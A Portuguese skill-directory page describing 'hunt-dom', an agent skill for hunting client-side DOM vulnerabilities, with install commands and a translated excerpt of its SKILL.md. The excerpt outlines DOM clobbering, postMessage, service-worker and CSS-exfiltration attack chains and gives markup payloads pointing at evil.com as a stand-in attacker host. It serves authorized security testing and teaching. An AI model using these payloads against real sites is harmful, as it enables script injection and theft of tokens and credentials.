Pular para o conteúdo
Skillpedia
Segurança48 mil · #3255

hunt-dom

Ajuda seu agente a encontrar vulnerabilidades no DOM do lado do cliente. Melhora a segurança de aplicações web.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em sites que podem ser exploradas pelo navegador do usuário. Ela procura por maneiras de enganar o site para que ele execute código malicioso ou revele informações secretas.

Quando usar

  • ✓Ao testar a segurança de um site que você tem permissão para analisar.
  • ✓Para entender como ataques no navegador podem afetar um site.
  • ✓Ao aprender sobre vulnerabilidades web e como elas funcionam.

Exemplo do que pedir para a IA

“Procure por vulnerabilidades de 'DOM Clobbering' no site example.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-dom/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-dom/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta analisa o código do site em busca de padrões que podem ser explorados. Ela verifica se o site confia em informações vindas do navegador sem a devida validação, o que pode levar a ataques.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-dom

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-dom/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil

Alvos Principais

Ataques baseados em DOM executam no navegador da vítima — o servidor muitas vezes nunca vê o payload, então WAFs e filtros de entrada do lado do servidor não se aplicam. PostMessage sem verificação de origem = roubo de token cross-origin sem necessidade de XSS.

Cadeias de maior valor:

  • DOM Clobbering → DOM-XSS / bypass de autenticação — Injeção de markup HTML (sem <script>) sobrescreve um global JS como window.config ou sombreia document.getElementById, e o aplicativo posteriormente trata esse valor como um URL/código → o sink dispara sob uma injeção apenas de markup onde o script é filtrado.
  • PostMessage sem verificação de origem → roubo de sessão / DOM-XSS — um manipulador message que confia em event.data sem validar event.origin permite que um atacante iframe/opener execute ações privilegiadas ou alimente um sink.
  • Abuso de Service Worker — registre um script SW same-origin (alcançável por upload / open-redirect / caminho que o alvo serve) via XSS armazenado → intercepte todos os fetch no escopo → captura persistente de credenciais.
  • CSS Exfil — seletores de valor de atributo (input[value^="a"]) vazam um token CSRF / chave de API / nonce caractere por caractere para um host OOB com zero JS.

Fundamentação — pesquisa pública da qual isso é destilado

  • DOM Clobbering / DOM-Invader — Gareth Heyes & o tópico "DOM clobbering" da PortSwigger Web Security Academy; DOM-Invader inclui um scanner dedicado de clobbering. A taxonomia de sinks mapeia para os laboratórios de vulnerabilidade baseados em DOM da academia.
  • Bypasses de DOMPurify clobbering e mXSS — série de blogs de Michał Bentkowski (Securitum) sobre como contornar sanitizadores HTML via clobbering e mutation XSS.
  • jQuery htmlPrefilter XSS de tag auto-fechamento — CVE-2020-11022 e CVE-2020-11023 (jQuery < 3.5.0). Passar HTML do atacante para .html() / .append() o transforma em markup executável. Faça grep na versão do jQuery incluída; esta é uma das raízes de DOM-XSS mais comuns no mundo real.
  • Exfiltração CSS — pesquisa de d0nut "CSS Injection Attacks" / "Stealing Data With CSS" (recursão sequencial de @import para remover a restrição de posição por caractere).

    Cite apenas o que você reproduz. Não cole isso como "prova" em um relatório — seu PoC contra o alvo ativo é a evidência. A pesquisa nomeada aqui é para proveniência da técnica, não para inflar a gravidade.


Sinais da Superfície de Ataque

# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text

# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes

# Service worker presence:
/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)

# CSS injection points:
?theme=  custom-css profile field  email-template editor  style= passthrough

Fase 1 — DOM Clobbering

# Sinal: o aplicativo lê IDs/nomes de elementos como se fossem objetos JS, OU alimenta
# um global clobberable em um sink (location, innerHTML, eval, script.src).
# Injete MARKUP (sem script) em um sink que permita elementos nomeados/identificados.

# Clobber de nível único de window.config:
#   <a id="config" href="https://evil.com">
# Clobber um global NÃO embutido que o aplicativo lê (métodos embutidos como getElementById não podem ser sombreados desta forma):
#   <a id="config"></a><a id="config" name="url">   # window.config.url resolve para um elemento/string controlado pelo atacante
# Clobber um valor de URL convertido para string (toString() da âncora == href):
#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
# window.a.b.c aninhado via form/inputs:

…
Perguntas frequentes

O que é 'DOM Clobbering'?

É uma técnica onde um código malicioso, disfarçado de marcação HTML (como um link ou formulário), engana o JavaScript do site para que ele use essa marcação como se fosse um código ou um endereço perigoso.

O que é 'PostMessage'?

É uma forma de comunicação entre diferentes partes de um site que rodam no navegador. Se não for usada corretamente, um site malicioso pode enviar mensagens perigosas para outra parte do site.

O que é 'CSS Exfil'?

É uma técnica que usa estilos CSS para roubar informações do site, como tokens de segurança, enviando-as secretamente para um servidor controlado pelo atacante, sem precisar de código JavaScript.

Detalhes

Descrição original do autor

Hunt client-side DOM vulnerabilities

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3255
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas